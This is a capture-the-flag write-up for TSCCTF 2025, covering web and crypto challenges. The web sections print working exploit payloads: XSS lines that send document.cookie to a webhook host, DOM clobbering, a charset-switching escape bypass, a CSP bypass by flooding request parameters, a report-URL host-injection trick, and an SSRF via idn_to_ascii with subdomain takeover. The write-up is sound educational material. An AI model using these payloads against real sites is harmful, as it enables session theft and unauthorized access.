TSCCTF 2025 Writeups

發表於
分類於 CTF
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

Recently, I saw a TSCCTF on CTFTime, which is a competition organized by another group of students in Taiwan who play CTF, so I solved some of the more difficult Web & Crypto and Misc challenges solo.

Web

book

XSS challenge, the core is this piece of js:

document.addEventListener("DOMContentLoaded", () => {
	const urlParams = new URLSearchParams(window.location.search);
	const title = atob(urlParams.get("title"));
	const content = atob(urlParams.get("content"));
	document.getElementById("title").innerHTML =
		DOMPurify.sanitize(title);
	if (typeof config !== "undefined" && config.DEBUG) {
		document.getElementById("content").innerHTML = content;
	} else {
		document.getElementById("content").innerHTML =
			DOMPurify.sanitize(content);
	}
});

Obviously, it requires using dom clobbering to clobber winddow.config.DEBUG, and then you can directly use content xss:

title: <a id="config"></a><a id="config" name="DEBUG">CLOBBERED</a>

content: <img src=x: onerror="(new Image).src='//webhook?'+document.cookie">

Flag: TSC{CLOBBERING_TIME!!!!!_ui2qjwu3wesixz}

Beautiful World

Another XSS challenge, the key is this piece of python:

@app.route("/note", methods=["GET"])
def view_note():
	"""View a note"""
	content = base64.urlsafe_b64decode(request.args.get("content", "")).decode()

	# Check if the content is harmful content or not with BeautifulSoup.
	soup = BeautifulSoup(content, "html.parser")
	if sum(ele.name != 's' for ele in soup.find_all()):
		return "no eval tag."
	if sum(ele.attrs != {} for ele in soup.find_all()):
		return "no eval attrs."

	return render_template("note.html", note=content)

And note.html will directly insert note into the response without escaping, so the goal is to bypass this html sanitizer checked by bs4 + html.parser. Testing will reveal that html.parser will directly ignore unclosed tags, so the following payload can bypass it:

<img src=x: onerror="(new Image).src='//webhook?'+document.cookie" x="

Flag: TSC{Dont_use_Beautifulsoup_to_sanitise_HTML_u2gqwiewgyqwas}

Fakebook Pro

Another XSS challenge, the key is in posts.php:

<h2>Posts by <?php echo htmlspecialchars($username ?? 'Unknown'); ?></h2>

<?php
if (isset($error)) {
	echo "<p style='color: red;'>$error</p>";
} else {
	// Display posts
	$i = 0;
	if ($postsResult->numColumns() > 0) {
		while ($post = $postsResult->fetchArray()) {
			$i++;
			echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'></div></div>";
			echo "
				<script>
					post = \"".remove_quotes($post['content'])."\";
					document.getElementById('post$i').innerHTML = DOMPurify.sanitize(post);
				</script>
			";
		}
	} else {
		echo "<p>This user has not made any posts yet.</p>";
	}
}
?>

Both $username and $post['content'] are controllable. The remove_quotes function comes from the init.php included at the beginning:

<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000

// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header

// database setup, omitted...

function remove_quotes($str) {
	// remove \
	$str = str_replace("\\", "", $str);
	// replace ' with \'
	$str = str_replace("\"", "\\\"", $str);
	// remove <
	$str = str_replace("<", "", $str);
	// remove >
	$str = str_replace(">", "", $str);
	// remove \n
	$str = str_replace("\n", "", $str);
	// remove \r
	$str = str_replace("\r", "", $str);
	return $str;
}

I couldn’t figure out how to bypass remove_quotes, but seeing init.php setting Content-Type: text/html reminded me of Encoding Differentials: Why Charset Matters, which mentions that Chromium & Firefox will do encoding when there is no charset, and ISO-2022-JP can be exploited. In this case, it’s similar to technique 1 in the article, where inserting \x1b(J into $username switches to JIS X 0201 1976 encoding, making the \ character treated as the ¥ yen symbol, thus bypassing remove_quotes.

Specifically, register a user with the username \x1b(J, then post content with ";alert(origin)// to achieve XSS. Then report to the bot with the path /posts.php?username=%1b(J).

However, the most troublesome part of this challenge is that the bot provided by the challenge is restricted by the docker network and cannot connect to the outside, so after document.cookie, it cannot be directly transmitted outside. You have to find a way to store it on the XSS site. My idea is to have the bot log in as the flag:flag user and then store the flag in the posts, but achieving this is also a bit tricky because the login index.php will directly redirect logged-in users to dashboard.php:

if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    die();
}

In bot.js, there is this piece:

const visit = async url => {
	let browser
	try {
		url = new URL(url)
		browser = await puppeteer.launch({
			headless: true,
			args: ["--disable-gpu", "--no-sandbox"],
			executablePath: "/usr/bin/chromium-browser",
		});
		const context = await browser.createIncognitoBrowserContext()
		const page = await context.newPage()

		// set cookie
		await page.setCookie({
			name: "flag",
			value: btoa(eval(`${'F'+'L'+'A'+'G'}`)),
			domain: url.hostname,
		})

		await page.setCookie({
			name: "admin",
			value: "true",
			domain: url.hostname,
		})

		await page.goto(SITE)
		await sleep(2)
		await page.type("#username", ADMIN_USERNAME + crypto.randomBytes(8).toString('hex'))
		await page.type("#password", ADMIN_PASSWORD)
		await page.click("#login");
		await sleep(2);
		await page.goto(url, { timeout: 10000 });
		await sleep(10);

		await browser.close()
	} catch (e) {
		console.log(e)
	} finally {
		if (browser) await browser.close()
	}
}

It shows that the bot has an admin=true cookie and is logged in, so it cannot log in directly. And logout.php looks like this:

<?php
include("init.php");

// if not logged in, redirect to login page
if (!isset($_SESSION['username'])) {
    header('Location: index.php');
    die();
}

// if not an admin, deny access
if (isset($_COOKIE['admin'])) {
    die("You are not authorized to access this page.");
}

// destroy the session
session_destroy();

// redirect to login page
header('Location: index.php');

So, through XSS, you need to do the following to get the flag:

  1. Delete the admin cookie
  2. Visit logout.php to log out the logged-in admin user
  3. Post to index.php to log in as the flag user (credentials: flag:flag)
  4. Post to dashboard.php to store document.cookie as content
  5. Log in as the flag user to get the flag

The actual js code would look like this:

sleep = function (ms) {
	return new Promise(function (res) {
		setTimeout(res, ms)
	})
}
;(async function () {
	try {
		if (document.cookie.includes('admin')) {
			document.cookie = 'admin=; Max-Age=0'
			w = open('/logout.php')
			await sleep(1000)
			w.username.value = 'flag'
			w.password.value = 'flag'
			w.username.form.submit()
			await sleep(1000)
			await fetch('/dashboard.php', {
				method: 'POST',
				credentials: 'include',
				body: new URLSearchParams({ content: document.cookie }),
			})
		}
	} catch (err) {
		console.log(err.message, err.stack)
	}
})()

When writing the js, pay special attention to bypassing the characters prohibited by remove_quotes, so you cannot use arrow functions and need to replace \n with ;.

Flag: TSC{Nyan~~; Nyan Nyan~~; Kon kon kon!!!_0c17deebb01a4a48b64a41cf8e891284}

Fakebook Ultra

This challenge continues from the previous one, with only a few changes. First, the XSS in posts.php is simplified to:

echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'>".$post['content']."</div></div>";

So there’s no need to use encoding to bypass, but init.php has added CSP:

<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000

// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header

// Set CSP to allow only css
header("Content-Security-Policy: default-src 'none'; style-src 'self' 'unsafe-inline';");

And logout.php has been deleted, so logging out is not possible (unbelievable). The bot part remains unchanged and cannot connect to the outside.

To bypass CSP, I thought of using the method from justCTF 2020 - Baby CSP, which involves generating a warning before calling header() in php, and if the output buffering’s buffer size is exceeded, the response will be sent out first, making the subsequent header() call ineffective.

In this challenge, the most exploitable part seems to be ini_set('max_input_vars', '1000');, which will generate a warning if it exceeds 1000 parameters. Specifically, log in as the xss user, add post content <script>alert(origin)</script>, then visit /posts.php?username=xss&param1=1&param2=2&...&param1000=1000 to see the alert.

However, the server’s returned html looks like this:

<br />
<b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  ini_set(): Session ini settings cannot be changed after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>4</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>13</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>14</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>18</b><br />
<br />
<b>Warning</b>:  session_start(): Session cannot be started after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>38</b><br />

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Posts</title>
	<link rel="stylesheet" href="styles.css">
	<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>

<main class="container">
	<h2>Posts by xss</h2>

	<div class='box'><strong>Posted on: 2025-01-15 14:07:22</strong><div id='post1' class='post'><script>alert(origin)</script></div></div>
	<a href="index.php"><button class="big_button">Back to Home</button></a>
</main>
</body>
</html>

It shows that the warning part is not as long as the original writeup said, exceeding 4096 bytes, but it still successfully ignored the subsequent header() call, so the actual mechanism disabling CSP might not be output buffering.

After XSS, to get the flag, you still need to use the previous method: log out admin -> log in as flag user -> post document.cookie to posts -> log in yourself to get the flag.

But this challenge has no logout.php, so we are trapped in the world of SAO unable to log out the admin user, and thus cannot log in as the flag user.

The workaround I found is to exploit a small bug in report.php:

function build_url(array $parts) {
	return (isset($parts['scheme']) ? "{$parts['scheme']}:" : '') .
		((isset($parts['user']) || isset($parts['host'])) ? '//' : '') .
		(isset($parts['user']) ? "{$parts['user']}" : '') .
		(isset($parts['pass']) ? ":{$parts['pass']}" : '') .
		(isset($parts['user']) ? '@' : '') .
		(isset($parts['host']) ? "{$parts['host']}" : '') .
		(isset($parts['port']) ? ":{$parts['port']}" : '') .
		(isset($parts['path']) ? "{$parts['path']}" : '') .
		(isset($parts['query']) ? "?{$parts['query']}" : '') .
		(isset($parts['fragment']) ? "#{$parts['fragment']}" : '');
}
$URL = parse_url($_POST['url']);
$URL['scheme'] = 'http';
$URL['host'] = 'cms';
$URL['port'] = 80;

$URL = build_url($URL);
$res = sendUrlToBot($URL);

echo $res['data'];

It can be observed that if url is @host/path, parse_url will turn it into ["path"]=> string(10) "@host/path", and build_url will return http://cms:80@host/path. Therefore, the forced addition of cms:80 becomes the user & pass, making the bot’s actual visited url’s host controllable.

Controlling the host allows setting the cookie on the visited url’s hostname, so if the bot can access the external network, it can directly visit our webhook, and the flag will appear in the request header, resulting in a significant unintended solution.

However, since the bot cannot connect to the outside, we can only follow the normal method. My approach is to submit the url @cms./posts.php?..., making the bot visit http://cms:80@cms./posts.php?.... The trailing dot in cms. makes it an FQDN, which is a different hostname from cms, thus a different origin. Since the bot logs in at http://cms, it is not logged in at http://cms., simplifying the flag retrieval process to:

  1. Post to index.php to log in as the flag user (credentials: flag:flag)
  2. Post to dashboard.php to store document.cookie as content
  3. Log in yourself to get the flag

First, log in as the xss user and add the following note content:

<script>
	sleep = function (ms) {
		return new Promise(function (res) {
			setTimeout(res, ms)
		})
	}
	;(async function () {
		try {
			if (document.cookie.includes('admin')) {
				document.cookie = 'admin=; Max-Age=0'
				w = open('/')
				await sleep(1000)
				w.username.value = 'flag'
				w.password.value = 'flag'
				w.username.form.submit()
				await sleep(1000)
				await fetch(new URL('/dashboard.php', location.href), {
					method: 'POST',
					credentials: 'include',
					body: new URLSearchParams({ content: document.cookie }),
				})
				console.log('done')
			}
		} catch (err) {
			console.log(err.message, err.stack)
		}
	})()
</script>

Then submit a specific url to report.php:

curl 'http://TARGET_HOST:36369/report.php' --data-urlencode 'url=@cms./posts.php?xss=xss&0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=1&8=1&9=1&10=1&11=1&12=1&13=1&14=1&15=1&16=1&17=1&18=1&19=1&20=1&21=1&22=1&23=1&24=1&25=1&26=1&27=1&28=1&29=1&30=1&31=1&32=1&33=1&34=1&35=1&36=1&37=1&38=1&39=1&40=1&41=1&42=1&43=1&44=1&45=1&46=1&47=1&48=1&49=1&50=1&51=1&52=1&53=1&54=1&55=1&56=1&57=1&58=1&59=1&60=1&61=1&62=1&63=1&64=1&65=1&66=1&67=1&68=1&69=1&70=1&71=1&72=1&73=1&74=1&75=1&76=1&77=1&78=1&79=1&80=1&81=1&82=1&83=1&84=1&85=1&86=1&87=1&88=1&89=1&90=1&91=1&92=1&93=1&94=1&95=1&96=1&97=1&98=1&99=1&100=1&101=1&102=1&103=1&104=1&105=1&106=1&107=1&108=1&109=1&110=1&111=1&112=1&113=1&114=1&115=1&116=1&117=1&118=1&119=1&120=1&121=1&122=1&123=1&124=1&125=1&126=1&127=1&128=1&129=1&130=1&131=1&132=1&133=1&134=1&135=1&136=1&137=1&138=1&139=1&140=1&141=1&142=1&143=1&144=1&145=1&146=1&147=1&148=1&149=1&150=1&151=1&152=1&153=1&154=1&155=1&156=1&157=1&158=1&159=1&160=1&161=1&162=1&163=1&164=1&165=1&166=1&167=1&168=1&169=1&170=1&171=1&172=1&173=1&174=1&175=1&176=1&177=1&178=1&179=1&180=1&181=1&182=1&183=1&184=1&185=1&186=1&187=1&188=1&189=1&190=1&191=1&192=1&193=1&194=1&195=1&196=1&197=1&198=1&199=1&200=1&201=1&202=1&203=1&204=1&205=1&206=1&207=1&208=1&209=1&210=1&211=1&212=1&213=1&214=1&215=1&216=1&217=1&218=1&219=1&220=1&221=1&222=1&223=1&224=1&225=1&226=1&227=1&228=1&229=1&230=1&231=1&232=1&233=1&234=1&235=1&236=1&237=1&238=1&239=1&240=1&241=1&242=1&243=1&244=1&245=1&246=1&247=1&248=1&249=1&250=1&251=1&252=1&253=1&254=1&255=1&256=1&257=1&258=1&259=1&260=1&261=1&262=1&263=1&264=1&265=1&266=1&267=1&268=1&269=1&270=1&271=1&272=1&273=1&274=1&275=1&276=1&277=1&278=1&279=1&280=1&281=1&282=1&283=1&284=1&285=1&286=1&287=1&288=1&289=1&290=1&291=1&292=1&293=1&294=1&295=1&296=1&297=1&298=1&299=1&300=1&301=1&302=1&303=1&304=1&305=1&306=1&307=1&308=1&309=1&310=1&311=1&312=1&313=1&314=1&315=1&316=1&317=1&318=1&319=1&320=1&321=1&322=1&323=1&324=1&325=1&326=1&327=1&328=1&329=1&330=1&331=1&332=1&333=1&334=1&335=1&336=1&337=1&338=1&339=1&340=1&341=1&342=1&343=1&344=1&345=1&346=1&347=1&348=1&349=1&350=1&351=1&352=1&353=1&354=1&355=1&356=1&357=1&358=1&359=1&360=1&361=1&362=1&363=1&364=1&365=1&366=1&367=1&368=1&369=1&370=1&371=1&372=1&373=1&374=1&375=1&376=1&377=1&378=1&379=1&380=1&381=1&382=1&383=1&384=1&385=1&386=1&387=1&388=1&389=1&390=1&391=1&392=1&393=1&394=1&395=1&396=1&397=1&398=1&399=1&400=1&401=1&402=1&403=1&404=1&405=1&406=1&407=1&408=1&409=1&410=1&411=1&412=1&413=1&414=1&415=1&416=1&417=1&418=1&419=1&420=1&421=1&422=1&423=1&424=1&425=1&426=1&427=1&428=1&429=1&430=1&431=1&432=1&433=1&434=1&435=1&436=1&437=1&438=1&439=1&440=1&441=1&442=1&443=1&444=1&445=1&446=1&447=1&448=1&449=1&450=1&451=1&452=1&453=1&454=1&455=1&456=1&457=1&458=1&459=1&460=1&461=1&462=1&463=1&464=1&465=1&466=1&467=1&468=1&469=1&470=1&471=1&472=1&473=1&474=1&475=1&476=1&477=1&478=1&479=1&480=1&481=1&482=1&483=1&484=1&485=1&486=1&487=1&488=1&489=1&490=1&491=1&492=1&493=1&494=1&495=1&496=1&497=1&498=1&499=1&500=1&501=1&502=1&503=1&504=1&505=1&506=1&507=1&508=1&509=1&510=1&511=1&512=1&513=1&514=1&515=1&516=1&517=1&518=1&519=1&520=1&521=1&522=1&523=1&524=1&525=1&526=1&527=1&528=1&529=1&530=1&531=1&532=1&533=1&534=1&535=1&536=1&537=1&538=1&539=1&540=1&541=1&542=1&543=1&544=1&545=1&546=1&547=1&548=1&549=1&550=1&551=1&552=1&553=1&554=1&555=1&556=1&557=1&558=1&559=1&560=1&561=1&562=1&563=1&564=1&565=1&566=1&567=1&568=1&569=1&570=1&571=1&572=1&573=1&574=1&575=1&576=1&577=1&578=1&579=1&580=1&581=1&582=1&583=1&584=1&585=1&586=1&587=1&588=1&589=1&590=1&591=1&592=1&593=1&594=1&595=1&596=1&597=1&598=1&599=1&600=1&601=1&602=1&603=1&604=1&605=1&606=1&607=1&608=1&609=1&610=1&611=1&612=1&613=1&614=1&615=1&616=1&617=1&618=1&619=1&620=1&621=1&622=1&623=1&624=1&625=1&626=1&627=1&628=1&629=1&630=1&631=1&632=1&633=1&634=1&635=1&636=1&637=1&638=1&639=1&640=1&641=1&642=1&643=1&644=1&645=1&646=1&647=1&648=1&649=1&650=1&651=1&652=1&653=1&654=1&655=1&656=1&657=1&658=1&659=1&660=1&661=1&662=1&663=1&664=1&665=1&666=1&667=1&668=1&669=1&670=1&671=1&672=1&673=1&674=1&675=1&676=1&677=1&678=1&679=1&680=1&681=1&682=1&683=1&684=1&685=1&686=1&687=1&688=1&689=1&690=1&691=1&692=1&693=1&694=1&695=1&696=1&697=1&698=1&699=1&700=1&701=1&702=1&703=1&704=1&705=1&706=1&707=1&708=1&709=1&710=1&711=1&712=1&713=1&714=1&715=1&716=1&717=1&718=1&719=1&720=1&721=1&722=1&723=1&724=1&725=1&726=1&727=1&728=1&729=1&730=1&731=1&732=1&733=1&734=1&735=1&736=1&737=1&738=1&739=1&740=1&741=1&742=1&743=1&744=1&745=1&746=1&747=1&748=1&749=1&750=1&751=1&752=1&753=1&754=1&755=1&756=1&757=1&758=1&759=1&760=1&761=1&762=1&763=1&764=1&765=1&766=1&767=1&768=1&769=1&770=1&771=1&772=1&773=1&774=1&775=1&776=1&777=1&778=1&779=1&780=1&781=1&782=1&783=1&784=1&785=1&786=1&787=1&788=1&789=1&790=1&791=1&792=1&793=1&794=1&795=1&796=1&797=1&798=1&799=1&800=1&801=1&802=1&803=1&804=1&805=1&806=1&807=1&808=1&809=1&810=1&811=1&812=1&813=1&814=1&815=1&816=1&817=1&818=1&819=1&820=1&821=1&822=1&823=1&824=1&825=1&826=1&827=1&828=1&829=1&830=1&831=1&832=1&833=1&834=1&835=1&836=1&837=1&838=1&839=1&840=1&841=1&842=1&843=1&844=1&845=1&846=1&847=1&848=1&849=1&850=1&851=1&852=1&853=1&854=1&855=1&856=1&857=1&858=1&859=1&860=1&861=1&862=1&863=1&864=1&865=1&866=1&867=1&868=1&869=1&870=1&871=1&872=1&873=1&874=1&875=1&876=1&877=1&878=1&879=1&880=1&881=1&882=1&883=1&884=1&885=1&886=1&887=1&888=1&889=1&890=1&891=1&892=1&893=1&894=1&895=1&896=1&897=1&898=1&899=1&900=1&901=1&902=1&903=1&904=1&905=1&906=1&907=1&908=1&909=1&910=1&911=1&912=1&913=1&914=1&915=1&916=1&917=1&918=1&919=1&920=1&921=1&922=1&923=1&924=1&925=1&926=1&927=1&928=1&929=1&930=1&931=1&932=1&933=1&934=1&935=1&936=1&937=1&938=1&939=1&940=1&941=1&942=1&943=1&944=1&945=1&946=1&947=1&948=1&949=1&950=1&951=1&952=1&953=1&954=1&955=1&956=1&957=1&958=1&959=1&960=1&961=1&962=1&963=1&964=1&965=1&966=1&967=1&968=1&969=1&970=1&971=1&972=1&973=1&974=1&975=1&976=1&977=1&978=1&979=1&980=1&981=1&982=1&983=1&984=1&985=1&986=1&987=1&988=1&989=1&990=1&991=1&992=1&993=1&994=1&995=1&996=1&997=1&998=1&999=1'

Flag: TSC{Nyan~~; Nyan? Nyan!_e41783351a7440bc8fe8b75d6548a9cc}

Proxy Revenge

This challenge is modified from CGGC 2024 - Proxy:

<?php
// start session
session_start();

// Code stolen from https://chummy.tw/
function check_domain($url) {
	$DOMAIN_SUFFIX = "\.tscctf-2025\.ctftime\.uk";
	$pattern = "/^https?:\/\/.?.?[a-zA-Z0-9-]+".$DOMAIN_SUFFIX."\/.*$/";
	if (preg_match($pattern, $url)) {
		return true;
	}
	die("Good Hacker");

}

function proxy($service) {
	// $service = "switchrange";
	// $service = "previewsite";
	// $service = "越獄";
	$requestUri = $_SERVER['REQUEST_URI'];
	$parsedUrl = parse_url($requestUri);
	$options = array(
		CURLOPT_RETURNTRANSFER => true,   // return web page
		CURLOPT_HEADER         => false,  // don't return headers
		CURLOPT_FOLLOWLOCATION => false,   // follow redirects
		CURLOPT_MAXREDIRS      => 2,     // stop after 10 redirects
		CURLOPT_ENCODING       => "",     // handle compressed
		CURLOPT_USERAGENT      => "FLAG{not_flag}", // name of client
		CURLOPT_AUTOREFERER    => true,   // set referrer on redirect
		CURLOPT_CONNECTTIMEOUT => 10,    // time-out on connect
		CURLOPT_TIMEOUT        => 10,    // time-out on response
	);

	// the len must be less than 50
	if (strlen($service) > 50) {
		die("Service name is too long.");
	}

	$port = 80;

	setcookie("service", $service);
	setcookie("port", $port);
	$ch = curl_init();
	curl_setopt_array($ch, $options);
	// No more redirect QQ.
	// curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
	$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
	$fixeddomain = idn_to_ascii($fixeddomain);
	$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);

	$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];
	check_domain($url);
	curl_setopt($ch, CURLOPT_URL, $url);
	$response = curl_exec($ch);
	curl_close($ch);
	// if session admin is not true, redirect to rickroll
	if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
		header("Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ");
	}
	// if "please_give_me_flag_QQ" in response, then echo flag
	if (strpos($response, "please_give_me_flag_QQ") !== false) {
		echo getenv('FLAG');
	}
	curl_close($ch);
}
if (isset($_GET['service']))
	proxy($_GET['service']);
else
	// print source code
	highlight_file(__FILE__);

First, I saw in this writeup that idn_to_ascii returns an empty string when the length is too long, which might be exploitable, but this challenge limits $service length to no more than 50, so this method is not applicable.

So I checked the idn_to_ascii source code and found that it converts utf-8 strings to ascii (punycode), so directly inserting \xff into $service makes it an invalid utf-8 string, causing idn_to_ascii to return an empty string, making fixeddomain an empty string.

And $url is constructed like this:

$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];

To control the ssrf host, you need to control $parsedUrl['path'], which comes from $parsedUrl = parse_url($_SERVER['REQUEST_URI']);. In Apache + PHP, $_SERVER['REQUEST_URI'] is the full path of the http request, but if given randomly, it will 404 at the Apache layer and won’t execute this index.php.

I utilized the mechanism where Apache can execute index.php with /index.php/peko/miko, and by adding an extra / in front, making it //index.php/host/path (schemeless url), the entire $url becomes http:///host/path?service=%ff.

Now most of $url is controllable, and to bypass the ssrf response check while passing the check_domain function, you need to get the flag.

The check_domain regex is ^https?://.?.?[a-zA-Z0-9-]+\.tscctf-2025\.ctftime\.uk/.*$, which mainly restricts the host to a subdomain of tscctf-2025.ctftime.uk.

A quick dig reveals:

> dig peko.tscctf-2025.ctftime.uk

; <<>> DiG 9.20.4 <<>> peko.tscctf-2025.ctftime.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11595
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;peko.tscctf-2025.ctftime.uk.   IN      A

;; ANSWER SECTION:
peko.tscctf-2025.ctftime.uk. 300 IN     CNAME   ching367436.github.io.
ching367436.github.io.  3595    IN      A       185.199.108.153
ching367436.github.io.  3595    IN      A       185.199.109.153
ching367436.github.io.  3595    IN      A       185.199.111.153
ching367436.github.io.  3595    IN      A       185.199.110.153

;; Query time: 29 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Wed Jan 15 23:35:17 CST 2025
;; MSG SIZE  rcvd: 155

Indicating it should be a wildcard subdomain pointing to GitHub Pages, and visiting it through a browser also shows GitHub Pages’ 404, so you can directly use subdomain takeover to control the response.

The specific takeover method is not detailed here, you can look it up. I took http://maple3142.tscctf-2025.ctftime.uk/, so finally, you can get the flag with:

> curl 'http://172.31.2.2:36360//index.php/maple3142.tscctf-2025.ctftime.uk/?service=%ff'
TSC{C0de_St0l3n_1s_C0de_Earn3d}

Crypto

2DES

#!/usr/bin/env python
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from random import choice
from os import urandom
from time import sleep

def encrypt(msg: bytes, key1, key2):
    des1 = DES.new(key1, DES.MODE_ECB)
    des2 = DES.new(key2, DES.MODE_ECB)
    return des2.encrypt(des1.encrypt(pad(msg, des1.block_size)))

def main():
    flag = open('/flag.txt', 'r').read().strip().encode()

    print("This is a 2DES encryption service.")
    print("But you can only control one of the key.")
    print()

    while True:
        print("1. Encrypt flag")
        print("2. Decrypt flag")
        print("3. Exit")
        option = int(input("> "))

        if option == 1:
            # I choose a key
            # You can choose another one
            keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"]
            key1 = bytes.fromhex(choice(keyset))
            key2 = bytes.fromhex(input("Enter key2 (hex): ").strip())

            ciphertext = encrypt(flag, key1, key2)
            print("Here is your encrypted flag:", flush=True)
            print("...", flush=True)
            sleep(3)
            if ciphertext[:4] == flag[:4]:
                print(ciphertext)
                print("Hmmm... What a coincidence!")
            else:
                print("System error!")
            print()

        elif option == 2:
            print("Decryption are disabled")
            print()

        elif option == 3:
            print("Bye!")
            exit()

        else:
            print("Invalid option")
            print()

if __name__ == "__main__":
    main()

This challenge is simple. On wiki, you can see that 1FE01FE00EF10EF1 is a semi-weak key for DES, meaning it has another key pair satisfying Ek1(Ek2(M))=ME_{k_1}(E_{k_2}(M))=M, which is E01FE01FF10EF10E.

Thus, there is a 13\frac{1}{3} chance of getting the flag.

> printf '1\nE01FE01FF10EF10E\n3\n' | nc 172.31.2.2 9487
This is a 2DES encryption service.
But you can only control one of the key.

1. Encrypt flag
2. Decrypt flag
3. Exit
> Enter key2 (hex): Here is your encrypted flag:
...
b'TSC{th3_Key_t0_br34k_DES_15_tHe_keY}\x04\x04\x04\x04'
Hmmm... What a coincidence!

1. Encrypt flag
2. Decrypt flag
3. Exit
> Bye!

I Never Thought Cryptography Was Fun

from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from random import randrange

flag = open('flag.txt', 'r').read().strip().encode()

p = getPrime(16)
r = [randrange(1, p) for _ in range(5)]

print(f'p = {p}')

# You have 5 unknown random numbers
# But you can only get 4 hashes
# It is impossible to recover the flag, right?
for i in range(4):
    h = flag[i]
    for j in range(5):
        h = (h + (j+1) * r[j]) % p
        r[j] = h
    print(f"hash[{i}] = {h}")

key = 0
for rr in r:
    key += rr
    key *= 2**16

key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
ciphertext = aes.encrypt(pad(flag, AES.block_size))
print(f"ciphertext = {ciphertext}")

In this challenge, flag[0:4] == b'TSC{' is known, so there are only five unknowns in rr, and h_i are obviously linear combinations of rr, forming an underdetermined linear system over Fp\mathbb{F}_p, which has pp solutions. Since pp is only 16 bits, you can try all of them.

from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, long_to_bytes
from lll_cvp import polynomials_to_matrix
from Crypto.Util.Padding import pad

p = 42899
hashes = [1934, 22627, 36616, 21343]
ciphertext = b"z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP"

F = GF(p)

r = list(polygens(F, "r", 5))
flag = b"TSC{"


eqs = []
for i in range(4):
    h = flag[i]
    for j in range(5):
        h = h + (j + 1) * r[j]
        r[j] = h
    print(f"hash[{i}] = {h}")
    eqs.append(h - hashes[i])
M, monos = polynomials_to_matrix(eqs)
assert monos[-1] == 1
A = M[:, :-1]
b = vector(-M[:, -1])

rk = A.right_kernel_matrix()[0]
s0 = A.solve_right(b)
for t in range(p):
    s = s0 + t * rk
    assert all([e(*s) == 0 for e in eqs])
    key = 0
    for rr in [f(*s) for f in r]:
        key += int(rr)
        key *= 2**16
    key = pad(long_to_bytes(key), 16)
    aes = AES.new(key, AES.MODE_ECB)
    flag = aes.decrypt(ciphertext)
    if b"TSC{" in flag:
        print(flag)
        break
